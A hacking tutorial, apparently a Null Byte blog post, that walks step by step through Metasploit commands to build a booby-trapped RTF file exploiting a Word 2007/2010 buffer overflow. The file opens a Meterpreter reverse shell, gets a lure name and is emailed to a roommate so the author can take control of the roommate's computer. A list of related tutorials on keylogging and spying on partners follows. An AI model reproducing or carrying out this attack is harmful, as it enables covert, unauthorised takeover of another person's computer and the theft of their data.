Hack Like a Pro: Exploit MS Word to Embed a Listener on Your Roommate's Computer « Null Byte :: WonderHowTo

In my last hack blog oncrashing your roommates Win7 system, we started looking at client- side attacks. As promised, we will be looking at some more client-side attacks.As web server and OS's have become hardened and living behind significant perimeter defenses, hackers have migrated to the easiest route to the pot of gold. This is through the often unpatched, unhardened client-side system with little in the way of defenses and a plethora of vulnerable software, including the ubiquitous Microsoft Office products.This hack will work on the Word 2007 or Word 2010. It exploits a buffer overflow in Word to allow us to plant a listener on our target system. I'm assuming that you have the victim's IP address and have verified the Microsoft Office is running (a good assumption, but its better to verify).Step 1: Start MetasploitSo, letfire up Metasploitand find the exploit/windows/fileformat/ms10_087_rtf_pfragments_bof. Now, set Metasploit to use this exploit by typing:msf >use exploit/windows/fileformat/ms10_087_rtf_pfragments_bofStep 2: Set a PayloadThen we need to set a payload. In this case, we wish to use Metasploit's powerful Meterpreter to establish a listener on the victim's system.msf exploit( ms10_087_rtf_pfragments_bof) > set payload windows/meterpreter/reverse_tcpStep 3: Show OptionsNow, let's look at our options. As you know from my previous Metasploit blogs, every exploit has options, some mandatory and some not. Let's take a look at the options for this exploit by typingmsf >show optionsStep 4: Change FILENAMEWe can see from the screenshot above that Metasploit has a number of options for this exploit. First, we are creating a .rtf file and Metasploit gives it a default name of FILENAME. Let's change that name to something more inviting to our victim, such as newyearsgreeting.rtfmsf >set FILENAME newyearsgreeting.rtfStep 5: Set Your Local HostNext we need to set the LHOST or the local host. This will be the system we will be listening from--usually our local system--but it could be any system you want to listen from. We simply need to set the LHOST with the IP address of our listening system, in this case 192.168.1.100.msf> set LHOST 192.168.1.100Step 6: Last Check of OptionsBefore we exploit the victim's system, let's check to make sure all our options are set properly.msf> show optionsNote in the screenshot that the FILENAME is now set to newyearsgreeting.rtf and the LHOST is 192.168.1.100.Step 7: ExploitNow, we are ready to exploit. Simply type:msf > exploitYou can see that Metasploit has generated a file called newyearsgreeting.rtf and placed it at /root/.msf4/local/newyearsgreeting.rtf.Step 8: Send the File to the VictimNow we need to send this file to the victim through email or other method. Once the victim opens the file, the Word application will hang or crash leaving us with an active session of Meterpeter on the victim's system. With an active Meterpreter session on the victim's system, we have nearly total control or "own" their system.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:Top 10 Pranks for the College Freshman DormHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHack Like a Pro:How to Hack Windows 7 to See Whether Your Girlfriend Is Cheating or NotHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Hack Android Using Kali (Remotely)Hack Like a Pro:How to Spy on Anyone, Part 1 (Hacking Computers)Hack Like a Pro:How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PCHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Save the World from Nuclear AnnihilationHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)Hack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHow To:Reframe "But" to Share Criticism More KindlyHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHacking macOS:How to Hack a MacBook with One Ruby CommandHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerEasily Access MS Tutorials:Microsoft's Desktop PlayerHow To:Embed a Backdoor in an Exe FileNews:The Roommate (2011)News:Anne Hathaway Is a Scrabble FiendWTFoto News Scoop Sundays:Wrath of the Religious RoommateHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:edit your embedded YouTube video in HD or have it Autostart